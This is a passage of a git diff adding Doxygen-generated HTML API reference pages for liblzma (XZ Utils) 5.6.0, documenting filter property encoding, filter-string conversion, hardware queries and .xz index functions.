  • LZMA_OK
  • +
  • LZMA_OPTIONS_ERROR
  • +
  • LZMA_PROG_ERROR
  • +
+
+ +
+
+ +

◆ lzma_properties_encode()

+ +
+
+ + + + + + + + + + + + + + + + + + +
lzma_ret lzma_properties_encode (const lzma_filterfilter,
uint8_t * props 
)
+
+ +

Encode the Filter Properties field.

+
Note
Even this function won't validate more options than actually necessary. Thus, it is possible that encoding the properties succeeds but using the same options to initialize the encoder will fail.
+
+If lzma_properties_size() indicated that the size of the Filter Properties field is zero, calling lzma_properties_encode() is not required, but it won't do any harm either.
+
Parameters
+ + + +
filterFilter ID and options
[out]propsBuffer to hold the encoded options. The size of the buffer must have been already determined with lzma_properties_size().
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK
  • +
  • LZMA_PROG_ERROR
  • +
+
+ +
+
+ +

◆ lzma_properties_decode()

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
lzma_ret lzma_properties_decode (lzma_filterfilter,
const lzma_allocatorallocator,
const uint8_t * props,
size_t props_size 
)
+
+ +

Decode the Filter Properties field.

+
Parameters
+ + + + + +
filterfilter->id must have been set to the correct Filter ID. filter->options doesn't need to be initialized (it's not freed by this function). The decoded options will be stored in filter->options; it's application's responsibility to free it when appropriate. filter->options is set to NULL if there are no properties or if an error occurs.
allocatorlzma_allocator for custom allocator functions. Set to NULL to use malloc() and free(). and in case of an error, also free().
propsInput buffer containing the properties.
props_sizeSize of the properties. This must be the exact size; giving too much or too little input will return LZMA_OPTIONS_ERROR.
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK
  • +
  • LZMA_OPTIONS_ERROR
  • +
  • LZMA_MEM_ERROR
  • +
+
+ +
+
+ +

◆ lzma_filter_flags_size()

+ +
+
+ + + + + + + + + + + + + + + + + + +
lzma_ret lzma_filter_flags_size (uint32_t * size,
const lzma_filterfilter 
)
+
+ +

Calculate encoded size of a Filter Flags field.

+

Knowing the size of Filter Flags is useful to know when allocating memory to hold the encoded Filter Flags.

+
Note
If you need to calculate size of List of Filter Flags, you need to loop over every lzma_filter entry.
+
Parameters
+ + + +
[out]sizePointer to integer to hold the calculated size
filterFilter ID and associated options whose encoded size is to be calculated
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK: *size set successfully. Note that this doesn't guarantee that filter->options is valid, thus lzma_filter_flags_encode() may still fail.
  • +
  • LZMA_OPTIONS_ERROR: Unknown Filter ID or unsupported options.
  • +
  • LZMA_PROG_ERROR: Invalid options
  • +
+
+ +
+
+ +

◆ lzma_filter_flags_encode()

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
lzma_ret lzma_filter_flags_encode (const lzma_filterfilter,
uint8_t * out,
size_t * out_pos,
size_t out_size 
)
+
+ +

Encode Filter Flags into given buffer.

+

In contrast to some functions, this doesn't allocate the needed buffer. This is due to how this function is used internally by liblzma.

+
Parameters
+ + + + + +
filterFilter ID and options to be encoded
[out]outBeginning of the output buffer
[out]out_posout[*out_pos] is the next write position. This is updated by the encoder.
out_sizeout[out_size] is the first byte to not write.
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK: Encoding was successful.
  • +
  • LZMA_OPTIONS_ERROR: Invalid or unsupported options.
  • +
  • LZMA_PROG_ERROR: Invalid options or not enough output buffer space (you should have checked it with lzma_filter_flags_size()).
  • +
+
+ +
+
+ +

◆ lzma_filter_flags_decode()

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
lzma_ret lzma_filter_flags_decode (lzma_filterfilter,
const lzma_allocatorallocator,
const uint8_t * in,
size_t * in_pos,
size_t in_size 
)
+
+ +

Decode Filter Flags from given buffer.

+

The decoded result is stored into *filter. The old value of filter->options is not free()d. If anything other than LZMA_OK is returned, filter->options is set to NULL.

+
Parameters
+ + + + + + +
[out]filterDestination filter. The decoded Filter ID will be stored in filter->id. If options are needed they will be allocated and the pointer will be stored in filter->options.
allocatorlzma_allocator for custom allocator functions. Set to NULL to use malloc() and free().
inBeginning of the input buffer
[out]in_posThe next byte will be read from in[*in_pos]. *in_pos is updated only if decoding succeeds.
in_sizeSize of the input buffer; the first byte that won't be read is in[in_size].
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK
  • +
  • LZMA_OPTIONS_ERROR
  • +
  • LZMA_MEM_ERROR
  • +
  • LZMA_DATA_ERROR
  • +
  • LZMA_PROG_ERROR
  • +
+
+ +
+
+ +

◆ lzma_str_to_filters()

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
const char * lzma_str_to_filters (const char * str,
int * error_pos,
lzma_filterfilters,
uint32_t flags,
const lzma_allocatorallocator 
)
+
+ +

Convert a string to a filter chain.

+

This tries to make it easier to write applications that allow users to set custom compression options. This only handles the filter configuration (including presets) but not the number of threads, block size, check type, or memory limits.

+

The input string can be either a preset or a filter chain. Presets begin with a digit 0-9 and may be followed by zero or more flags which are lower-case letters. Currently only "e" is supported, matching LZMA_PRESET_EXTREME. For partial xz command line syntax compatibility, a preset string may start with a single dash "-".

+

A filter chain consists of one or more "filtername:opt1=value1,opt2=value2" strings separated by one or more spaces. Leading and trailing spaces are ignored. All names and values must be lower-case. Extra commas in the option list are ignored. The order of filters is significant: when encoding, the uncompressed input data goes to the leftmost filter first. Normally "lzma2" is the last filter in the chain.

+

If one wishes to avoid spaces, for example, to avoid shell quoting, it is possible to use two dashes "--" instead of spaces to separate the filters.

+

For xz command line compatibility, each filter may be prefixed with two dashes "--" and the colon ":" separating the filter name from the options may be replaced with an equals sign "=".

+

By default, only filters that can be used in the .xz format are accepted. To allow all filters (LZMA1) use the flag LZMA_STR_ALL_FILTERS.

+

By default, very basic validation is done for the filter chain as a whole, for example, that LZMA2 is only used as the last filter in the chain. The validation isn't perfect though and it's possible that this function succeeds but using the filter chain for encoding or decoding will still result in LZMA_OPTIONS_ERROR. To disable this validation, use the flag LZMA_STR_NO_VALIDATION.

+

The available filter names and their options are available via lzma_str_list_filters(). See the xz man page for the description of filter names and options.

+

For command line applications, below is an example how an error message can be displayed. Note the use of an empty string for the field width. If "^" was used there it would create an off-by-one error except at the very beginning of the line.

+
const char *str = ...; // From user
+ +
int pos;
+
const char *msg = lzma_str_to_filters(str, &pos, filters, 0, NULL);
+
if (msg != NULL) {
+
printf("%s: Error in XZ compression options:\n", argv[0]);
+
printf("%s: %s\n", argv[0], str);
+
printf("%s: %*s^\n", argv[0], errpos, "");
+
printf("%s: %s\n", argv[0], msg);
+
}
+
Parameters
+ + + + + + +
strUser-supplied string describing a preset or a filter chain. If a default value is needed and you don't know what would be good, use "6" since that is the default preset in xz too.
[out]error_posIf this isn't NULL, this value will be set on both success and on all errors. This tells the location of the error in the string. This is an int to make it straightforward to use this as printf() field width. The value is guaranteed to be in the range [0, INT_MAX] even if strlen(str) somehow was greater than INT_MAX.
[out]filtersAn array of lzma_filter structures. There must be LZMA_FILTERS_MAX + 1 (that is, five) elements in the array. The old contents are ignored so it doesn't need to be initialized. This array is modified only if this function returns NULL. Once the allocated filter options are no longer needed, lzma_filters_free() can be used to free the options (it doesn't free the filters array itself).
flagsBitwise-or of zero or more of the flags LZMA_STR_ALL_FILTERS and LZMA_STR_NO_VALIDATION.
allocatorlzma_allocator for custom allocator functions. Set to NULL to use malloc() and free().
+
+
+
Returns
On success, NULL is returned. On error, a statically-allocated error message is returned which together with the error_pos should give some idea what is wrong.
+ +
+
+ +

◆ lzma_str_from_filters()

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
lzma_ret lzma_str_from_filters (char ** str,
const lzma_filterfilters,
uint32_t flags,
const lzma_allocatorallocator 
)
+
+ +

Convert a filter chain to a string.

+

Use cases:

+
    +
  • Verbose output showing the full encoder options to the user (use LZMA_STR_ENCODER in flags)
  • +
  • Showing the filters and options that are required to decode a file (use LZMA_STR_DECODER in flags)
  • +
  • Showing the filter names without any options in informational messages where the technical details aren't important (no flags). In this case the .options in the filters array are ignored and may be NULL even if a filter has a mandatory options structure.
  • +
+

Note that even if the filter chain was specified using a preset, the resulting filter chain isn't reversed to a preset. So if you specify "6" to lzma_str_to_filters() then lzma_str_from_filters() will produce a string containing "lzma2".

+
Parameters
+ + + + + +
[out]strOn success *str will be set to point to an allocated string describing the given filter chain. Old value is ignored. On error *str is always set to NULL.
filtersArray of filters terminated with .id == LZMA_VLI_UNKNOWN.
flagsBitwise-or of zero or more of the flags LZMA_STR_ENCODER, LZMA_STR_DECODER, LZMA_STR_GETOPT_LONG, and LZMA_STR_NO_SPACES.
allocatorlzma_allocator for custom allocator functions. Set to NULL to use malloc() and free().
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK
  • +
  • LZMA_OPTIONS_ERROR: Empty filter chain (filters[0].id == LZMA_VLI_UNKNOWN) or the filter chain includes a Filter ID that is not supported by this function.
  • +
  • LZMA_MEM_ERROR
  • +
  • LZMA_PROG_ERROR
  • +
+
+ +
+
+ +

◆ lzma_str_list_filters()

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
lzma_ret lzma_str_list_filters (char ** str,
lzma_vli filter_id,
uint32_t flags,
const lzma_allocatorallocator 
)
+
+ +

List available filters and/or their options (for help message)

+

If a filter_id is given then only one line is created which contains the filter name. If LZMA_STR_ENCODER or LZMA_STR_DECODER is used then the options read by the encoder or decoder are printed on the same line.

+

If filter_id is LZMA_VLI_UNKNOWN then all supported .xz-compatible filters are listed:

+
    +
  • If neither LZMA_STR_ENCODER nor LZMA_STR_DECODER is used then the supported filter names are listed on a single line separated by spaces.
  • +
  • If LZMA_STR_ENCODER or LZMA_STR_DECODER is used then filters and the supported options are listed one filter per line. There won't be a newline after the last filter.
  • +
  • If LZMA_STR_ALL_FILTERS is used then the list will include also those filters that cannot be used in the .xz format (LZMA1).
  • +
+
Parameters
+ + + + + +
strOn success *str will be set to point to an allocated string listing the filters and options. Old value is ignored. On error *str is always set to NULL.
filter_idFilter ID or LZMA_VLI_UNKNOWN.
flagsBitwise-or of zero or more of the flags LZMA_STR_ALL_FILTERS, LZMA_STR_ENCODER, LZMA_STR_DECODER, and LZMA_STR_GETOPT_LONG.
allocatorlzma_allocator for custom allocator functions. Set to NULL to use malloc() and free().
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK
  • +
  • LZMA_OPTIONS_ERROR: Unsupported filter_id or flags
  • +
  • LZMA_MEM_ERROR
  • +
  • LZMA_PROG_ERROR
  • +
+
+ +
+
+
+ +

+ XZ logo © 2023 by Jia Tan is licensed under + + CC BY-SA 4.0 + +

+ + diff --git a/doc/api/folderclosed.svg b/doc/api/folderclosed.svg new file mode 100644 index 00000000..47d22df8 --- /dev/null +++ b/doc/api/folderclosed.svg @@ -0,0 +1,11 @@ + + + + + + + + + + diff --git a/doc/api/folderclosedd.svg b/doc/api/folderclosedd.svg new file mode 100644 index 00000000..8fe00312 --- /dev/null +++ b/doc/api/folderclosedd.svg @@ -0,0 +1,11 @@ + + + + + + + + + + diff --git a/doc/api/folderopen.svg b/doc/api/folderopen.svg new file mode 100644 index 00000000..9565570f --- /dev/null +++ b/doc/api/folderopen.svg @@ -0,0 +1,17 @@ + + + + + + + + + + diff --git a/doc/api/folderopend.svg b/doc/api/folderopend.svg new file mode 100644 index 00000000..e72e2259 --- /dev/null +++ b/doc/api/folderopend.svg @@ -0,0 +1,12 @@ + + + + + + + + + + + diff --git a/doc/api/functions.html b/doc/api/functions.html new file mode 100644 index 00000000..ddbe460d --- /dev/null +++ b/doc/api/functions.html @@ -0,0 +1,216 @@ + + + + + + + +liblzma (XZ Utils): Data Fields + + + + + + +
+
+ + + + + + + +
+
liblzma (XZ Utils) 5.6.0 +
+
+
+ + + + + + +
+
+
Here is a list of all documented struct and union fields with links to the struct/union documentation for each field:
+ +

- a -

+ + +

- b -

+ + +

- c -

+ + +

- d -

+ + +

- e -

+ + +

- f -

+ + +

- h -

+ + +

- i -

+ + +

- l -

+ + +

- m -

+ + +

- n -

+ + +

- o -

+ + +

- p -

+ + +

- r -

+ + +

- s -

+ + +

- t -

+ + +

- u -

+ + +

- v -

+
+ +

+ XZ logo © 2023 by Jia Tan is licensed under + + CC BY-SA 4.0 + +

+ + diff --git a/doc/api/functions_vars.html b/doc/api/functions_vars.html new file mode 100644 index 00000000..fd995e8b --- /dev/null +++ b/doc/api/functions_vars.html @@ -0,0 +1,216 @@ + + + + + + + +liblzma (XZ Utils): Data Fields - Variables + + + + + + +
+
+ + + + + + + +
+
liblzma (XZ Utils) 5.6.0 +
+
+
+ + + + + + +
+
+
Here is a list of all documented variables with links to the struct/union documentation for each field:
+ +

- a -

+ + +

- b -

+ + +

- c -

+ + +

- d -

+ + +

- e -

+ + +

- f -

+ + +

- h -

+ + +

- i -

+ + +

- l -

+ + +

- m -

+ + +

- n -

+ + +

- o -

+ + +

- p -

+ + +

- r -

+ + +

- s -

+ + +

- t -

+ + +

- u -

+ + +

- v -

+
+ +

+ XZ logo © 2023 by Jia Tan is licensed under + + CC BY-SA 4.0 + +

+ + diff --git a/doc/api/globals.html b/doc/api/globals.html new file mode 100644 index 00000000..dfb353a5 --- /dev/null +++ b/doc/api/globals.html @@ -0,0 +1,284 @@ + + + + + + + +liblzma (XZ Utils): Globals + + + + + + +
+
+ + + + + + + +
+
liblzma (XZ Utils) 5.6.0 +
+
+
+ + + + + + +
+
+
Here is a list of all documented functions, variables, defines, enums, and typedefs with links to the documentation:
+ +

- l -

+
+ +

+ XZ logo © 2023 by Jia Tan is licensed under + + CC BY-SA 4.0 + +

+ + diff --git a/doc/api/globals_defs.html b/doc/api/globals_defs.html new file mode 100644 index 00000000..aa7d0b82 --- /dev/null +++ b/doc/api/globals_defs.html @@ -0,0 +1,130 @@ + + + + + + + +liblzma (XZ Utils): Globals + + + + + + +
+
+ + + + + + + +
+
liblzma (XZ Utils) 5.6.0 +
+
+
+ + + + + + +
+
+
Here is a list of all documented macros with links to the documentation:
+ +

- l -

+
+ +

+ XZ logo © 2023 by Jia Tan is licensed under + + CC BY-SA 4.0 + +

+ + diff --git a/doc/api/globals_enum.html b/doc/api/globals_enum.html new file mode 100644 index 00000000..c82b0f7e --- /dev/null +++ b/doc/api/globals_enum.html @@ -0,0 +1,77 @@ + + + + + + + +liblzma (XZ Utils): Globals + + + + + + +
+
+ + + + + + + +
+
liblzma (XZ Utils) 5.6.0 +
+
+
+ + + + + +
+
+
Here is a list of all documented enums with links to the documentation:
+
+ +

+ XZ logo © 2023 by Jia Tan is licensed under + + CC BY-SA 4.0 + +

+ + diff --git a/doc/api/globals_eval.html b/doc/api/globals_eval.html new file mode 100644 index 00000000..65bed0bb --- /dev/null +++ b/doc/api/globals_eval.html @@ -0,0 +1,109 @@ + + + + + + + +liblzma (XZ Utils): Globals + + + + + + +
+
+ + + + + + + +
+
liblzma (XZ Utils) 5.6.0 +
+
+
+ + + + + + +
+
+
Here is a list of all documented enum values with links to the documentation:
+ +

- l -

+
+ +

+ XZ logo © 2023 by Jia Tan is licensed under + + CC BY-SA 4.0 + +

+ + diff --git a/doc/api/globals_func.html b/doc/api/globals_func.html new file mode 100644 index 00000000..0cc48606 --- /dev/null +++ b/doc/api/globals_func.html @@ -0,0 +1,184 @@ + + + + + + + +liblzma (XZ Utils): Globals + + + + + + +
+
+ + + + + + + +
+
liblzma (XZ Utils) 5.6.0 +
+
+
+ + + + + + +
+
+
Here is a list of all documented functions with links to the documentation:
+ +

- l -

+
+ +

+ XZ logo © 2023 by Jia Tan is licensed under + + CC BY-SA 4.0 + +

+ + diff --git a/doc/api/globals_type.html b/doc/api/globals_type.html new file mode 100644 index 00000000..1c9d541f --- /dev/null +++ b/doc/api/globals_type.html @@ -0,0 +1,74 @@ + + + + + + + +liblzma (XZ Utils): Globals + + + + + + +
+
+ + + + + + + +
+
liblzma (XZ Utils) 5.6.0 +
+
+
+ + + + + +
+
+
Here is a list of all documented typedefs with links to the documentation:
+
+ +

+ XZ logo © 2023 by Jia Tan is licensed under + + CC BY-SA 4.0 + +

+ + diff --git a/doc/api/hardware_8h.html b/doc/api/hardware_8h.html new file mode 100644 index 00000000..062d4a34 --- /dev/null +++ b/doc/api/hardware_8h.html @@ -0,0 +1,129 @@ + + + + + + + +liblzma (XZ Utils): lzma/hardware.h File Reference + + + + + + +
+
+ + + + + + + +
+
liblzma (XZ Utils) 5.6.0 +
+
+
+ + + + + +
+
+ +
hardware.h File Reference
+
+
+ +

Hardware information. +More...

+ + + + + + + + +

+Functions

uint64_t lzma_physmem (void) lzma_nothrow
 Get the total amount of physical memory (RAM) in bytes.
 
uint32_t lzma_cputhreads (void) lzma_nothrow
 Get the number of processor cores or threads.
 
+

Detailed Description

+

Hardware information.

+
Note
Never include this file directly. Use <lzma.h> instead.
+

Since liblzma can consume a lot of system resources, it also provides ways to limit the resource usage. Applications linking against liblzma need to do the actual decisions how much resources to let liblzma to use. To ease making these decisions, liblzma provides functions to find out the relevant capabilities of the underlying hardware. Currently there is only a function to find out the amount of RAM, but in the future there will be also a function to detect how many concurrent threads the system can run.

+
Note
On some operating systems, these function may temporarily load a shared library or open file descriptor(s) to find out the requested hardware information. Unless the application assumes that specific file descriptors are not touched by other threads, this should have no effect on thread safety. Possible operations involving file descriptors will restart the syscalls if they return EINTR.
+

Function Documentation

+ +

◆ lzma_physmem()

+ +
+
+ + + + + + + + +
uint64_t lzma_physmem (void )
+
+ +

Get the total amount of physical memory (RAM) in bytes.

+

This function may be useful when determining a reasonable memory usage limit for decompressing or how much memory it is OK to use for compressing.

+
Returns
On success, the total amount of physical memory in bytes is returned. If the amount of RAM cannot be determined, zero is returned. This can happen if an error occurs or if there is no code in liblzma to detect the amount of RAM on the specific operating system.
+ +
+
+ +

◆ lzma_cputhreads()

+ +
+
+ + + + + + + + +
uint32_t lzma_cputhreads (void )
+
+ +

Get the number of processor cores or threads.

+

This function may be useful when determining how many threads to use. If the hardware supports more than one thread per CPU core, the number of hardware threads is returned if that information is available.

+
Returns
On success, the number of available CPU threads or cores is returned. If this information isn't available or an error occurs, zero is returned.
+ +
+
+
+ +

+ XZ logo © 2023 by Jia Tan is licensed under + + CC BY-SA 4.0 + +

+ + diff --git a/doc/api/index.html b/doc/api/index.html new file mode 100644 index 00000000..54525eb1 --- /dev/null +++ b/doc/api/index.html @@ -0,0 +1,60 @@ + + + + + + + +liblzma (XZ Utils): liblzma (XZ Utils) + + + + + + +
+
+ + + + + + + +
+
liblzma (XZ Utils) 5.6.0 +
+
+
+ + + +
+
+
liblzma (XZ Utils)
+
+
+

liblzma is a general-purpose data compression library with a zlib-like API. The native file format is .xz, but also the old .lzma format and raw (no headers) streams are supported. Multiple compression algorithms (filters) are supported. Currently LZMA2 is the primary filter.

+

liblzma is part of XZ Utils https://xz.tukaani.org/xz-utils/. XZ Utils includes a gzip-like command line tool named xz and some other tools. XZ Utils is developed and maintained by Lasse Collin and Jia Tan.

+

Major parts of liblzma are based on code written by Igor Pavlov, specifically the LZMA SDK https://7-zip.org/sdk.html.

+

The SHA-256 implementation in liblzma is based on code written by Wei Dai in Crypto++ Library https://www.cryptopp.com/.

+

liblzma is distributed under the BSD Zero Clause License (0BSD).

+
+
+ +

+ XZ logo © 2023 by Jia Tan is licensed under + + CC BY-SA 4.0 + +

+ + diff --git a/doc/api/index_8h.html b/doc/api/index_8h.html new file mode 100644 index 00000000..713c0a94 --- /dev/null +++ b/doc/api/index_8h.html @@ -0,0 +1,1311 @@ + + + + + + + +liblzma (XZ Utils): lzma/index.h File Reference + + + + + + +
+
+ + + + + + + +
+
liblzma (XZ Utils) 5.6.0 +
+
+
+ + + + + +
+
+ +
index.h File Reference
+
+
+ +

Handling of .xz Index and related information. +More...

+ + + + + +

+Data Structures

struct  lzma_index_iter
 Iterator to get information about Blocks and Streams. More...
 
+ + + + + + + + + + + + + +

+Macros

#define LZMA_INDEX_CHECK_MASK_NONE   (UINT32_C(1) << LZMA_CHECK_NONE)
 Mask for return value from lzma_index_checks() for check none.
 
+#define LZMA_INDEX_CHECK_MASK_CRC32   (UINT32_C(1) << LZMA_CHECK_CRC32)
 Mask for return value from lzma_index_checks() for check CRC32.
 
+#define LZMA_INDEX_CHECK_MASK_CRC64   (UINT32_C(1) << LZMA_CHECK_CRC64)
 Mask for return value from lzma_index_checks() for check CRC64.
 
+#define LZMA_INDEX_CHECK_MASK_SHA256   (UINT32_C(1) << LZMA_CHECK_SHA256)
 Mask for return value from lzma_index_checks() for check SHA256.
 
+ + + + +

+Typedefs

typedef struct lzma_index_s lzma_index
 Opaque data type to hold the Index(es) and other information.
 
+ + + + +

+Enumerations

enum  lzma_index_iter_mode { LZMA_INDEX_ITER_ANY = 0 +, LZMA_INDEX_ITER_STREAM = 1 +, LZMA_INDEX_ITER_BLOCK = 2 +, LZMA_INDEX_ITER_NONEMPTY_BLOCK = 3 + }
 Operation mode for lzma_index_iter_next() More...
 
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

+Functions

uint64_t lzma_index_memusage (lzma_vli streams, lzma_vli blocks) lzma_nothrow
 Calculate memory usage of lzma_index.
 
uint64_t lzma_index_memused (const lzma_index *i) lzma_nothrow
 Calculate the memory usage of an existing lzma_index.
 
lzma_indexlzma_index_init (const lzma_allocator *allocator) lzma_nothrow
 Allocate and initialize a new lzma_index structure.
 
void lzma_index_end (lzma_index *i, const lzma_allocator *allocator) lzma_nothrow
 Deallocate lzma_index.
 
lzma_ret lzma_index_append (lzma_index *i, const lzma_allocator *allocator, lzma_vli unpadded_size, lzma_vli uncompressed_size) lzma_nothrow lzma_attr_warn_unused_result
 Add a new Block to lzma_index.
 
lzma_ret lzma_index_stream_flags (lzma_index *i, const lzma_stream_flags *stream_flags) lzma_nothrow lzma_attr_warn_unused_result
 Set the Stream Flags.
 
uint32_t lzma_index_checks (const lzma_index *i) lzma_nothrow lzma_attr_pure
 Get the types of integrity Checks.
 
lzma_ret lzma_index_stream_padding (lzma_index *i, lzma_vli stream_padding) lzma_nothrow lzma_attr_warn_unused_result
 Set the amount of Stream Padding.
 
lzma_vli lzma_index_stream_count (const lzma_index *i) lzma_nothrow lzma_attr_pure
 Get the number of Streams.
 
lzma_vli lzma_index_block_count (const lzma_index *i) lzma_nothrow lzma_attr_pure
 Get the number of Blocks.
 
lzma_vli lzma_index_size (const lzma_index *i) lzma_nothrow lzma_attr_pure
 Get the size of the Index field as bytes.
 
lzma_vli lzma_index_stream_size (const lzma_index *i) lzma_nothrow lzma_attr_pure
 Get the total size of the Stream.
 
lzma_vli lzma_index_total_size (const lzma_index *i) lzma_nothrow lzma_attr_pure
 Get the total size of the Blocks.
 
lzma_vli lzma_index_file_size (const lzma_index *i) lzma_nothrow lzma_attr_pure
 Get the total size of the file.
 
lzma_vli lzma_index_uncompressed_size (const lzma_index *i) lzma_nothrow lzma_attr_pure
 Get the uncompressed size of the file.
 
void lzma_index_iter_init (lzma_index_iter *iter, const lzma_index *i) lzma_nothrow
 Initialize an iterator.
 
void lzma_index_iter_rewind (lzma_index_iter *iter) lzma_nothrow
 Rewind the iterator.
 
lzma_bool lzma_index_iter_next (lzma_index_iter *iter, lzma_index_iter_mode mode) lzma_nothrow lzma_attr_warn_unused_result
 Get the next Block or Stream.
 
lzma_bool lzma_index_iter_locate (lzma_index_iter *iter, lzma_vli target) lzma_nothrow
 Locate a Block.
 
lzma_ret lzma_index_cat (lzma_index *dest, lzma_index *src, const lzma_allocator *allocator) lzma_nothrow lzma_attr_warn_unused_result
 Concatenate lzma_indexes.
 
lzma_indexlzma_index_dup (const lzma_index *i, const lzma_allocator *allocator) lzma_nothrow lzma_attr_warn_unused_result
 Duplicate lzma_index.
 
lzma_ret lzma_index_encoder (lzma_stream *strm, const lzma_index *i) lzma_nothrow lzma_attr_warn_unused_result
 Initialize .xz Index encoder.
 
lzma_ret lzma_index_decoder (lzma_stream *strm, lzma_index **i, uint64_t memlimit) lzma_nothrow lzma_attr_warn_unused_result
 Initialize .xz Index decoder.
 
lzma_ret lzma_index_buffer_encode (const lzma_index *i, uint8_t *out, size_t *out_pos, size_t out_size) lzma_nothrow
 Single-call .xz Index encoder.
 
lzma_ret lzma_index_buffer_decode (lzma_index **i, uint64_t *memlimit, const lzma_allocator *allocator, const uint8_t *in, size_t *in_pos, size_t in_size) lzma_nothrow
 Single-call .xz Index decoder.
 
lzma_ret lzma_file_info_decoder (lzma_stream *strm, lzma_index **dest_index, uint64_t memlimit, uint64_t file_size) lzma_nothrow
 Initialize a .xz file information decoder.
 
+

Detailed Description

+

Handling of .xz Index and related information.

+
Note
Never include this file directly. Use <lzma.h> instead.
+

Macro Definition Documentation

+ +

◆ LZMA_INDEX_CHECK_MASK_NONE

+ +
+
+ + + + +
#define LZMA_INDEX_CHECK_MASK_NONE   (UINT32_C(1) << LZMA_CHECK_NONE)
+
+ +

Mask for return value from lzma_index_checks() for check none.

+
Note
This and the other CHECK_MASK macros were added in 5.5.1alpha.
+ +
+
+

Typedef Documentation

+ +

◆ lzma_index

+ +
+
+ + + + +
typedef struct lzma_index_s lzma_index
+
+ +

Opaque data type to hold the Index(es) and other information.

+

lzma_index often holds just one .xz Index and possibly the Stream Flags of the same Stream and size of the Stream Padding field. However, multiple lzma_indexes can be concatenated with lzma_index_cat() and then there may be information about multiple Streams in the same lzma_index.

+

Notes about thread safety: Only one thread may modify lzma_index at a time. All functions that take non-const pointer to lzma_index modify it. As long as no thread is modifying the lzma_index, getting information from the same lzma_index can be done from multiple threads at the same time with functions that take a const pointer to lzma_index or use lzma_index_iter. The same iterator must be used only by one thread at a time, of course, but there can be as many iterators for the same lzma_index as needed.

+ +
+
+

Enumeration Type Documentation

+ +

◆ lzma_index_iter_mode

+ +
+
+ + + + +
enum lzma_index_iter_mode
+
+ +

Operation mode for lzma_index_iter_next()

+ + + + + +
Enumerator
LZMA_INDEX_ITER_ANY 

Get the next Block or Stream.

+

Go to the next Block if the current Stream has at least one Block left. Otherwise go to the next Stream even if it has no Blocks. If the Stream has no Blocks (lzma_index_iter.stream.block_count == 0), lzma_index_iter.block will have undefined values.

+
LZMA_INDEX_ITER_STREAM 

Get the next Stream.

+

Go to the next Stream even if the current Stream has unread Blocks left. If the next Stream has at least one Block, the iterator will point to the first Block. If there are no Blocks, lzma_index_iter.block will have undefined values.

+
LZMA_INDEX_ITER_BLOCK 

Get the next Block.

+

Go to the next Block if the current Stream has at least one Block left. If the current Stream has no Blocks left, the next Stream with at least one Block is located and the iterator will be made to point to the first Block of that Stream.

+
LZMA_INDEX_ITER_NONEMPTY_BLOCK 

Get the next non-empty Block.

+

This is like LZMA_INDEX_ITER_BLOCK except that it will skip Blocks whose Uncompressed Size is zero.

+
+ +
+
+

Function Documentation

+ +

◆ lzma_index_memusage()

+ +
+
+ + + + + + + + + + + + + + + + + + +
uint64_t lzma_index_memusage (lzma_vli streams,
lzma_vli blocks 
)
+
+ +

Calculate memory usage of lzma_index.

+

On disk, the size of the Index field depends on both the number of Records stored and the size of the Records (due to variable-length integer encoding). When the Index is kept in lzma_index structure, the memory usage depends only on the number of Records/Blocks stored in the Index(es), and in case of concatenated lzma_indexes, the number of Streams. The size in RAM is almost always significantly bigger than in the encoded form on disk.

+

This function calculates an approximate amount of memory needed to hold the given number of Streams and Blocks in lzma_index structure. This value may vary between CPU architectures and also between liblzma versions if the internal implementation is modified.

+
Parameters
+ + + +
streamsNumber of Streams
blocksNumber of Blocks
+
+
+
Returns
Approximate memory in bytes needed in a lzma_index structure.
+ +
+
+ +

◆ lzma_index_memused()

+ +
+
+ + + + + + + + +
uint64_t lzma_index_memused (const lzma_indexi)
+
+ +

Calculate the memory usage of an existing lzma_index.

+

This is a shorthand for lzma_index_memusage(lzma_index_stream_count(i), lzma_index_block_count(i)).

+
Parameters
+ + +
iPointer to lzma_index structure
+
+
+
Returns
Approximate memory in bytes used by the lzma_index structure.
+ +
+
+ +

◆ lzma_index_init()

+ +
+
+ + + + + + + + +
lzma_index * lzma_index_init (const lzma_allocatorallocator)
+
+ +

Allocate and initialize a new lzma_index structure.

+
Parameters
+ + +
allocatorlzma_allocator for custom allocator functions. Set to NULL to use malloc() and free().
+
+
+
Returns
On success, a pointer to an empty initialized lzma_index is returned. If allocation fails, NULL is returned.
+ +
+
+ +

◆ lzma_index_end()

+ +
+
+ + + + + + + + + + + + + + + + + + +
void lzma_index_end (lzma_indexi,
const lzma_allocatorallocator 
)
+
+ +

Deallocate lzma_index.

+

If i is NULL, this does nothing.

+
Parameters
+ + + +
iPointer to lzma_index structure to deallocate
allocatorlzma_allocator for custom allocator functions. Set to NULL to use malloc() and free().
+
+
+ +
+
+ +

◆ lzma_index_append()

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
lzma_ret lzma_index_append (lzma_indexi,
const lzma_allocatorallocator,
lzma_vli unpadded_size,
lzma_vli uncompressed_size 
)
+
+ +

Add a new Block to lzma_index.

+
Parameters
+ + + + + +
iPointer to a lzma_index structure
allocatorlzma_allocator for custom allocator functions. Set to NULL to use malloc() and free().
unpadded_sizeUnpadded Size of a Block. This can be calculated with lzma_block_unpadded_size() after encoding or decoding the Block.
uncompressed_sizeUncompressed Size of a Block. This can be taken directly from lzma_block structure after encoding or decoding the Block.
+
+
+

Appending a new Block does not invalidate iterators. For example, if an iterator was pointing to the end of the lzma_index, after lzma_index_append() it is possible to read the next Block with an existing iterator.

+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK
  • +
  • LZMA_MEM_ERROR
  • +
